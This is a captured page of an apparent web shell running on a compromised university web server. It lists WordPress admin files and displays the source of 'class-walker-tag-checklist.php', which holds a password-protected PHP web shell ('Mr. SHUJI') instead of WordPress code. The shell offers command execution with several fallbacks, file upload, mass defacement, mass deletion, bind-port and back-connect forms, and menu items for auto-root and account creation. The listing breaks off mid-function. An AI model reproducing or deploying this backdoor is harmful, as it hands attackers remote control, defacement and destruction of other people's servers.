Linux web-conference.aiou.edu.pk 5.4.0-205-generic #225-Ubuntu SMP Fri Jan 10 22:23:35 UTC 2025 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.139.103.88
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
var /
www /
html /
icrpe25 /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
712
B
-rw-r--r--
admin-filters.php
7.89
KB
-rw-r--r--
admin.php
3.54
KB
-rw-r--r--
ajax-actions.php
148.07
KB
-rw-r--r--
bookmark.php
11.34
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.58
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
2.53
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
2.6
KB
-rw-r--r--
class-bulk-upgrader-skin.php
6.59
KB
-rw-r--r--
class-core-upgrader.php
14.83
KB
-rw-r--r--
class-custom-background.php
21.11
KB
-rw-r--r--
class-custom-image-header.php
47.91
KB
-rw-r--r--
class-file-upload-upgrader.php
4.07
KB
-rw-r--r--
class-ftp-pure.php
5.3
KB
-rw-r--r--
class-ftp-sockets.php
8.28
KB
-rw-r--r--
class-ftp.php
26.66
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.8
KB
-rw-r--r--
class-language-pack-upgrader.p...
15.2
KB
-rw-r--r--
class-pclzip.php
192.09
KB
-rw-r--r--
class-plugin-installer-skin.ph...
11.77
KB
-rw-r--r--
class-plugin-upgrader-skin.php
3.2
KB
-rw-r--r--
class-plugin-upgrader.php
22.7
KB
-rw-r--r--
class-theme-installer-skin.php
12.44
KB
-rw-r--r--
class-theme-upgrader-skin.php
4.08
KB
-rw-r--r--
class-theme-upgrader.php
26.08
KB
-rw-r--r--
class-walker-category-checklis...
4.97
KB
-rw-r--r--
class-walker-nav-menu-checklis...
5.5
KB
-rw-r--r--
class-walker-nav-menu-edit.php
13.85
KB
-rw-r--r--
class-walker-tag-checklist.php
34.38
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
4.09
KB
-rw-r--r--
class-wp-application-passwords...
6.79
KB
-rw-r--r--
class-wp-automatic-updater.php
59.7
KB
-rw-r--r--
class-wp-comments-list-table.p...
32.15
KB
-rw-r--r--
class-wp-community-events.php
18.33
KB
-rw-r--r--
class-wp-debug-data.php
63.76
KB
-rw-r--r--
class-wp-filesystem-base.php
23.84
KB
-rw-r--r--
class-wp-filesystem-direct.php
17.72
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
22.56
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
18.05
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
22.76
KB
-rw-r--r--
class-wp-importer.php
7.29
KB
-rw-r--r--
class-wp-internal-pointers.php
4.47
KB
-rw-r--r--
class-wp-links-list-table.php
9.02
KB
-rw-r--r--
class-wp-list-table-compat.php
1.46
KB
-rw-r--r--
class-wp-list-table.php
51.63
KB
-rw-r--r--
class-wp-media-list-table.php
25.03
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
21.51
KB
-rw-r--r--
class-wp-ms-themes-list-table....
27.67
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
14.93
KB
-rw-r--r--
class-wp-plugin-install-list-t...
24.21
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
56.43
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.42
KB
-rw-r--r--
class-wp-posts-list-table.php
62.45
KB
-rw-r--r--
class-wp-privacy-data-export-r...
5.43
KB
-rw-r--r--
class-wp-privacy-data-removal-...
5.58
KB
-rw-r--r--
class-wp-privacy-policy-conten...
32.01
KB
-rw-r--r--
class-wp-privacy-requests-tabl...
13.65
KB
-rw-r--r--
class-wp-screen.php
36.45
KB
-rw-r--r--
class-wp-site-health-auto-upda...
13.24
KB
-rw-r--r--
class-wp-site-health.php
119.5
KB
-rw-r--r--
class-wp-site-icon.php
6.26
KB
-rw-r--r--
class-wp-terms-list-table.php
20.69
KB
-rw-r--r--
class-wp-theme-install-list-ta...
15.42
KB
-rw-r--r--
class-wp-themes-list-table.php
10.1
KB
-rw-r--r--
class-wp-upgrader-skin.php
6.94
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.44
KB
-rw-r--r--
class-wp-upgrader.php
46.58
KB
-rw-r--r--
class-wp-users-list-table.php
18.61
KB
-rw-r--r--
comment.php
5.98
KB
-rw-r--r--
continents-cities.php
20.06
KB
-rw-r--r--
credits.php
5.73
KB
-rw-r--r--
dashboard.php
68.08
KB
-rw-r--r--
deprecated.php
40.8
KB
-rw-r--r--
edit-tag-messages.php
1.44
KB
-rw-r--r--
export.php
24.97
KB
-rw-r--r--
file.php
95.19
KB
-rw-r--r--
image-edit.php
42.82
KB
-rw-r--r--
image.php
42.4
KB
-rw-r--r--
import.php
6.46
KB
-rw-r--r--
list-table.php
3.71
KB
-rw-r--r--
media.php
116.08
KB
-rw-r--r--
menu.php
9.39
KB
-rw-r--r--
meta-boxes.php
64.54
KB
-rw-r--r--
misc.php
45.38
KB
-rw-r--r--
ms-admin-filters.php
1.27
KB
-rw-r--r--
ms-deprecated.php
3.68
KB
-rw-r--r--
ms.php
33.16
KB
-rw-r--r--
nav-menu.php
47.76
KB
-rw-r--r--
network.php
26.35
KB
-rw-r--r--
noop.php
1.12
KB
-rw-r--r--
options.php
4.15
KB
-rw-r--r--
plugin-install.php
38.55
KB
-rw-r--r--
plugin.php
90.75
KB
-rw-r--r--
post.php
79.77
KB
-rw-r--r--
privacy-tools.php
32.68
KB
-rw-r--r--
revision.php
16.11
KB
-rw-r--r--
schema.php
41.66
KB
-rw-r--r--
screen.php
6.23
KB
-rw-r--r--
taxonomy.php
8.23
KB
-rw-r--r--
template.php
96.31
KB
-rw-r--r--
theme-install.php
6.83
KB
-rw-r--r--
theme.php
46.62
KB
-rw-r--r--
translation-install.php
10.82
KB
-rw-r--r--
update-core.php
67.71
KB
-rw-r--r--
update.php
33.62
KB
-rw-r--r--
upgrade.php
111.22
KB
-rw-r--r--
user.php
22.96
KB
-rw-r--r--
widgets.php
10.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-walker-tag-checklist.php
<?php session_start(); error_reporting(E_ALL); set_time_limit(0); @clearstatcache(); @ini_set('error_log', null); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @ini_set('output_buffering', 0); @ini_set('display_errors', 0); $auth_pass = "7e8615c65fac557cd92e5be0f56d72959c52fde9963f91c8132763df7077985ff00e162b91d7620d5a6b0be82ea39435c01db97435c20685c55b8c859db7ba20"; // sha512(CowExploit) $color = "#00ff00"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'UTF-8'; function loginShell() { ?> <html> <head> <title>Mr. SHUJI</title> <meta name="robots" content="noindex, nofollow" /> <style type="text/css"> html { margin: 20px auto; background: #000000; color: green; text-align: center; } header { color: green; margin: 10px auto; } input[type=password] { width: 250px; height: 25px; color: red; background: #000000; border: 1px dotted green; padding: 5px; margin-left: 20px; text-align: center; } </style> </head> <center> <header> <pre> ███╗ ███╗██████╗ ███████╗██╗ ██╗██╗ ██╗ ██╗██╗ ████╗ ████║██╔══██╗ ██╔════╝██║ ██║██║ ██║ ██║██║ ██╔████╔██║██████╔╝ ███████╗███████║██║ ██║ ██║██║ ██║╚██╔╝██║██╔══██╗ ╚════██║██╔══██║██║ ██║██ ██║██║ ██║ ╚═╝ ██║██║ ██║ ███████║██║ ██║╚██████╔╝╚█████╔╝██║ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚════╝ ╚═╝ </pre> </header> <form method="post"> <input type="password" name="pass"> </form> <?php exit; } if (isset($_POST['pass'])) { if (hash('sha512', ($_POST['pass'])) === $auth_pass) { $_SESSION[sha1($_SERVER['HTTP_HOST'])] = $auth_pass; } } if (isset($_SESSION[sha1($_SERVER['HTTP_HOST'])])) { if ($_SESSION[sha1($_SERVER['HTTP_HOST'])] !== $auth_pass) { loginShell(); } } else { loginShell(); } if (isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) { @ob_clean(); $file = $_GET['file']; header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } ?> <html> <head> <title>Mr. SHUJI</title> <meta name='author' content='Mr. SHUJI'> <meta charset="UTF-8"> <style type='text/css'> @import url(https://fonts.googleapis.com/css?family=Ubuntu); html { background: #000000; color: #ffffff; font-family: 'Ubuntu'; font-size: 13px; width: 100%; } li { display: inline; margin: 5px; padding: 5px; } table, th, td { border-collapse: collapse; font-family: Tahoma, Geneva, sans-serif; background: transparent; font-family: 'Ubuntu'; font-size: 13px; } .table_home, .th_home, .td_home { border: 1px solid #ffffff; } th { padding: 10px; } a { color: #ffffff; text-decoration: none; } a:hover { color: gold; text-decoration: underline; } b { color: gold; } input[type=text], input[type=password], input[type=submit] { background: transparent; color: #ffffff; border: 1px solid #ffffff; margin: 5px auto; padding-left: 5px; font-family: 'Ubuntu'; font-size: 13px; } textarea { border: 1px solid #ffffff; width: 100%; height: 400px; padding-left: 5px; margin: 10px auto; resize: none; background: transparent; color: #ffffff; font-family: 'Ubuntu'; font-size: 13px; } select { width: 152px; background: #000000; color: lime; border: 1px solid #ffffff; margin: 5px auto; padding-left: 5px; font-family: 'Ubuntu'; font-size: 13px; } option:hover { background: lime; color: #000000; } </style> </head> <?php function changeMode($filename, $mode) { return chmod($filename, octdec($mode)); } function changeTime($filename, $time) { return @touch($filename, @strtotime($time)); } function checkPerm($dir, $perm) { if (is_writable($dir)) { return "<font color=lime>$perm</font>"; } elseif (is_readable($dir)) { return "<font color=gray>$perm</font>"; } else { return "<font color=red>$perm</font>"; } } function exe($in, $re = false) { if ($re) $in = $in . ' 2>&1'; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (function_exists('popen') && function_exists('pclose')) { if (is_resource($f = @popen($in, 'r'))) { $out = ''; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } } elseif (function_exists('proc_open')) { $pipes = array(); $process = @proc_open($in . ' 2>&1', array(array('pipe', 'w'), array('pipe', 'w'), array('pipe', 'w')), $pipes, null); $out = @stream_get_contents($pipes[1]); } else { return false; } return $out; } function getPerm($filename) { $permissions = fileperms($filename); return substr(sprintf('%o', $permissions), -4); } function hdd($s) { if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB'; elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB'; elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB'; else return $s . ' B'; } function ambilKata($param, $kata1, $kata2) { if (strpos($param, $kata1) === FALSE) return FALSE; if (strpos($param, $kata2) === FALSE) return FALSE; $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } if (isset($_GET['dir'])) { $dir = $_GET['dir']; chdir($dir); } else { $dir = getcwd(); } $kernel = php_uname(); $ip = gethostbyname($_SERVER['HTTP_HOST']); $dir = str_replace("\\", "/", $dir); $scdir = explode("/", $dir); $freespace = hdd(disk_free_space("/")); $total = hdd(disk_total_space("/")); $used = $total - $freespace; $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>"; $ds = @ini_get("disable_functions"); $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>"; if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } echo "System: <font color=lime>$kernel</font><br>"; echo "User: <font color=lime>$user</font> ($uid) Group: <font color=lime>$group</font> ($gid)<br>"; echo "Server IP: <font color=lime>$ip</font> | Your IP: <font color=lime>$_SERVER[REMOTE_ADDR]</font><br>"; echo "HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font> )<br>"; echo "Safe Mode: $sm<br>"; echo "Disable Functions: $show_ds<br>"; echo "Current DIR: "; foreach ($scdir as $c_dir => $cdir) { echo "<a href='?dir="; for ($i = 0; $i <= $c_dir; $i++) { echo $scdir[$i]; if ($i != $c_dir) { echo "/"; } } echo "'>$cdir</a>/"; } echo " [ " . checkPerm($dir, getPerm($dir)) . " ]"; echo "<hr>"; echo "<center>"; echo "<ul>"; echo "<li>[ <a href='?'>Home</a> ]</li>"; echo "<li>[ <a href='?dir=$dir&act=upload'>Upload</a> ]</li>"; echo "<li>[ <a href='?dir=$dir&act=cmd'>Command</a> ]</li>"; echo "<li>[ <a href='?dir=$dir&act=mass_deface'>Mass Deface</a> ]</li>"; echo "<li>[ <a href='?dir=$dir&act=mass_delete'>Mass Delete</a> ]</li>"; echo "<li>[ <a href='?dir=$dir&act=network'>network</a> ]</li>"; echo "<li>[ <a style='color: red;' href='?logout=true'>Logout</a> ]</li>"; echo "</ul>"; echo "</center>"; echo "<hr>"; if ($_GET['logout'] == true) { unset($_SESSION[sha1($_SERVER['HTTP_HOST'])]); echo "<script>window.location='?';</script>"; } elseif ($_GET['act'] == 'chtime') { //return @touch($filename, @strtotime($time)); } elseif ($_GET['act'] == 'upload') { echo "<center>"; if ($_POST['upload']) { if ($_POST['tipe_upload'] == 'biasa') { if (@copy($_FILES['ix_file']['tmp_name'], "$dir/" . $_FILES['ix_file']['name'] . "")) { $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/" . $_FILES['ix_file']['name'] . "</b></i>"; } else { $act = "<font color=red>failed to upload file</font>"; } } else { $root = $_SERVER['DOCUMENT_ROOT'] . "/" . $_FILES['ix_file']['name']; $web = $_SERVER['HTTP_HOST'] . "/" . $_FILES['ix_file']['name']; if (is_writable($_SERVER['DOCUMENT_ROOT'])) { if (@copy($_FILES['ix_file']['tmp_name'], $root)) { $act = "<font color=lime>Uploaded!</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>"; } else { $act = "<font color=red>failed to upload file</font>"; } } else { $act = "<font color=red>failed to upload file</font>"; } } } echo "Upload File: <form method='post' enctype='multipart/form-data'> <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ " . checkPerm($dir, "Writeable") . " ] <input type='radio' name='tipe_upload' value='home_root'>home_root [ " . checkPerm($_SERVER['DOCUMENT_ROOT'], "Writeable") . " ]<br> <input type='file' name='ix_file'> <input type='submit' value='upload' name='upload'> </form>"; echo $act; echo "</center>"; } elseif ($_GET['act'] == 'cmd') { echo "<form method='post'> <font style='text-decoration: underline;'>$user@$ip: ~ $ </font> <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'> </form>"; if ($_POST['do_cmd']) { echo "<pre>" . htmlspecialchars(exe($_POST['cmd']), ENT_QUOTES, 'UTF-8') . "</pre>"; } } elseif ($_GET['act'] == 'mass_deface') { function sabun_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif ($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[<font color=lime>DONE</font>] $lokasi<br>"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function sabun_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif ($dirb === '..') { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>"; file_put_contents($lokasi, $isi_script); } } } } } } if ($_POST['start']) { if ($_POST['tipe_sabun'] == 'mahal') { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "</div>"; } elseif ($_POST['tipe_sabun'] == 'murah') { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); echo "</div>"; } } else { echo "<center>"; echo "<form method='post'> <font style='text-decoration: underline;'>Tipe Sabun:</font><br> <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br> <font style='text-decoration: underline;'>Folder:</font><br> <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br> <font style='text-decoration: underline;'>Filename:</font><br> <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br> <font style='text-decoration: underline;'>Index File:</font><br> <textarea name='script' style='width: 450px; height: 200px;'>Hacked by Mr. SHUJI</textarea><br> <input type='submit' name='start' value='Mass Deface' style='width: 450px;'> </form></center>"; } } elseif ($_GET['act'] == 'mass_delete') { function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "$dir/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { if (file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif ($dirb === '..') { if (file_exists("" . dirname($dir) . "/$namafile")) { unlink("" . dirname($dir) . "/$namafile"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lokasi)) { echo "[<font color=lime>DELETED</font>] $lokasi<br>"; unlink($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } if ($_POST['start']) { echo "<div style='margin: 5px auto; padding: 5px'>"; hapus_massal($_POST['d_dir'], $_POST['d_file']); echo "</div>"; } else { echo "<center>"; echo "<form method='post'> <font style='text-decoration: underline;'>Folder:</font><br> <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br> <font style='text-decoration: underline;'>Filename:</font><br> <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br> <input type='submit' name='start' value='Mass Delete' style='width: 450px;'> </form></center>"; } } elseif ($_GET['act'] == 'network') { echo "<form method='post'> <u>Bind Port:</u> <br> PORT: <input type='text' placeholder='port' name='port_bind' value='6969'> <input type='submit' name='sub_bp' value='>>'> </form> <form method='post'> <u>Back Connect:</u> <br> Server: <input type='text' placeholder='ip' name='ip_bc' value='" . $_SERVER['REMOTE_ADDR'] . "'> PORT: <input type='text' placeholder='port' name='port_bc' value='6969'> <input type='submit' name='sub_bc' value='>>'> </form>"; //reverse } elseif ($_GET['act'] == 'newfile') { if ($_POST['new_save_file']) { $newfile = htmlspecialchars($_POST['newfile']); $fopen = fopen($newfile, "a+"); if ($fopen) { $act = "<script>window.location='?act=edit&dir=" . $dir . "&file=" . $_POST['newfile'] . "';</script>"; } else { $act = "<font color=red>permission denied</font>"; } } echo $act; echo "<form method='post'> Filename: <input type='text' name='newfile' value='$dir/.htaccess' style='width: 450px;' height='10'> <input type='submit' name='new_save_file' value='Submit'> </form>"; } elseif ($_GET['act'] == 'newfolder') { if ($_POST['new_save_folder']) { $new_folder = $dir . '/' . htmlspecialchars($_POST['newfolder']); if (!mkdir($new_folder)) { $act = "<font color=red>permission denied</font>"; } else { $act = "<script>window.location='?dir=" . $dir . "';</script>"; } } echo $act; echo "<form method='post'> Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'> <input type='submit' name='new_save_folder' value='Submit'> </form>"; } elseif ($_GET['act'] == 'rename_dir') { if ($_POST['dir_rename']) { $dir_rename = rename($dir, "" . dirname($dir) . "/" . htmlspecialchars($_POST['fol_rename']) . ""); if ($dir_rename) { $act = "<script>window.location='?dir=" . dirname($dir) . "';</script>"; } else { $act = "<font color=red>permission denied</font>"; } echo "" . $act . "<br>"; } echo "<form method='post'> <input type='text' value='" . basename($dir) . "' name='fol_rename' style='width: 450px;' height='10'> <input type='submit' name='dir_rename' value='rename'> </form>"; } elseif ($_GET['act'] == 'delete_dir') { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @exe("rm -rf $dir"); @exe("rmdir /s /q $dir"); $act = "<script>window.location='?dir=" . dirname($dir) . "';</script>"; } else { $act = "<font color=red>could not remove " . basename($dir) . "</font>"; } } echo $act; } elseif ($_GET['act'] == 'view') { echo "Filename: <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=chmod&dir=$dir&file=" . $_GET['file'] . "'>chmod</a> ] [ <a href='?act=change_time&dir=$dir&file=" . $_GET['file'] . "'>Change Time</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>"; echo "<textarea readonly>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea>"; } elseif ($_GET['act'] == 'edit') { if ($_POST['save']) { $save = file_put_contents($_GET['file'], $_POST['src']); if ($save) { $act = "<font color=lime>Saved!</font>"; } else { $act = "<font color=red>permission denied</font>"; } echo "" . $act . "<br>"; } echo "Filename: <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=chmod&dir=$dir&file=" . $_GET['file'] . "'>chmod</a> ] [ <a href='?act=change_time&dir=$dir&file=" . $_GET['file'] . "'>Change Time</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>"; echo "<form method='post'> <textarea name='src'>" . htmlspecialchars(@file_get_contents($_GET['file'])) . "</textarea><br> <input type='submit' value='Save' name='save' style='width: 500px;'> </form>"; } elseif ($_GET['act'] == 'rename') { if ($_POST['do_rename']) { $rename = rename($_GET['file'], "$dir/" . htmlspecialchars($_POST['rename']) . ""); if ($rename) { $act = "<script>window.location='?dir=" . $dir . "';</script>"; } else { $act = "<font color=red>permission denied</font>"; } echo "" . $act . "<br>"; } echo "Filename: <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'><b>rename</b></a> ] [ <a href='?act=chmod&dir=$dir&file=" . $_GET['file'] . "'>chmod</a> ] [ <a href='?act=change_time&dir=$dir&file=" . $_GET['file'] . "'>Change Time</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>"; echo "<form method='post'> <input type='text' value='" . basename($_GET['file']) . "' name='rename' style='width: 450px;' height='10'> <input type='submit' name='do_rename' value='rename'> </form>"; } elseif ($_GET['act'] == 'delete') { $delete = unlink($_GET['file']); if ($delete) { $act = "<script>window.location='?dir=" . $dir . "';</script>"; } else { $act = "<font color=red>permission denied</font>"; } echo $act; } elseif ($_GET['act'] == "chmod") { if ($_POST['do_chmod']) { if (changeMode($_GET['file'], $_POST['mode'])) { $act = "<font color=lime>Success</font>"; } else { $act = "<font color=red>permission denied</font>"; } echo "" . $act . "<br>"; } $info = "Filename: <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=chmod&dir=$dir&file=" . $_GET['file'] . "'><b>chmod</b></a> ] [ <a href='?act=change_time&dir=$dir&file=" . $_GET['file'] . "'>Change Time</a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>"; if (is_file($_GET['file'])) echo $info; echo "<form method='post'> <input type='text' value='" . getPerm($_GET['file']) . "' name='mode' style='width: 450px;' height='10'> <input type='submit' name='do_chmod' value='chmod'> </form>"; } elseif ($_GET['act'] == "change_time") { if ($_POST['do_change_time']) { if (changeTime($_GET['file'], $_POST['date'])) { $act = "<font color=lime>Success</font>"; } else { $act = "<font color=red>permission denied</font>"; } echo "" . $act . "<br>"; } $info = "Filename: <font color=lime>" . basename($_GET['file']) . "</font> [ <a href='?act=view&dir=$dir&file=" . $_GET['file'] . "'>view</a> ] [ <a href='?act=edit&dir=$dir&file=" . $_GET['file'] . "'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=" . $_GET['file'] . "'>rename</a> ] [ <a href='?act=chmod&dir=$dir&file=" . $_GET['file'] . "'>chmod</a> ] [ <a href='?act=change_time&dir=$dir&file=" . $_GET['file'] . "'><b>Change Time</b></a> ] [ <a href='?act=download&dir=$dir&file=" . $_GET['file'] . "'>download</a> ] [ <a href='?act=delete&dir=$dir&file=" . $_GET['file'] . "'>delete</a> ]<br>"; if (is_file($_GET['file'])) echo $info; $dtime = @date("d-m-Y H:i:s", filemtime($_GET['file'])); echo "<form method='post'> <input type='text' value='" . $dtime . "' name='date' style='width: 450px;' height='10'> <input type='submit' name='do_change_time' value='Change Time'> </form>"; } else { if (is_dir($dir) === true) { if (!is_readable($dir)) { echo "<font color=red>can't open directory. ( not readable )</font>"; } else { echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center"> <tr> <th class="th_home"><center>Name</center></th> <th class="th_home"><center>Type</center></th> <th class="th_home"><center>Size</center></th> <th class="th_home"><center>Last Modified</center></th> <th class="th_home"><center>Owner/Group</center></th> <th class="th_home"><center>Permission</center></th> <th class="th_home"><center>Action</center></th> </tr>'; $scandir = scandir($dir); foreach ($scandir as $dirx) { $dtype = filetype("$dir/$dirx"); $dtime = @date("d-m-Y H:i:s", filemtime("$dir/$dirx")); if (function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner("$dir/$dirx")); $downer = $downer['name']; } else { //$downer = $uid; $downer = fileowner("$dir/$dirx"); } if (function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup("$dir/$dirx")); $dgrp = $dgrp['name']; } else { $dgrp = filegroup("$dir/$dirx"); } if (!is_dir("$dir/$dirx")) continue; if ($dirx === '..') { $href = "<a href='?dir=" . dirname($dir) . "'>$dirx</a>"; } elseif ($dirx === '.') { $href = "<a href='?dir=$dir'>$dirx</a>"; } else { $href = "<a href='?dir=$dir/$dirx'>$dirx</a>"; } if ($dirx === '.' || $dirx === '..') { $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>"; } else { $dtime = "<a href='?act=change_time&dir=$dir/$dirx&file=$dir/$dirx'>$dtime</a>"; $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>"; } echo "<tr>"; echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA" . "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" . "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>"; echo "<td class='td_home'><center>$dtype</center></td>"; echo "<td class='td_home'><center>-</center></th></td>"; echo "<td class='td_home'><center>$dtime</center></td>"; if ($downer == $user || $dgrp == $group) { echo "<td class='td_home' style='color:yellow;'><center>$downer/$dgrp</center></td>"; } else { echo "<td class='td_home'><center>$downer/$dgrp</center></td>"; } echo "<td class='td_home'><center><a href='?act=chmod&dir=$dir/$dirx&file=$dir/$dirx'>" . checkPerm("$dir/$dirx", getPerm("$dir/$dirx")) . "<a/></center></td>"; echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>"; echo "</tr>"; } } } else { echo "<font color=red>can't open directory.</font>"; } foreach ($scandir as $file) { $ftype = filetype("$dir/$file"); $ftime = @date("d-m-Y H:i:s", filemtime("$dir/$file")); $size = filesize("$dir/$file") / 1024; $size = round($size, 3); if (function_exists('posix_getpwuid')) { $fowner = @posix_getpwuid(fileowner("$dir/$file")); $fowner = $fowner['name']; } else { //$downer = $uid; $fowner = fileowner("$dir/$file"); } if 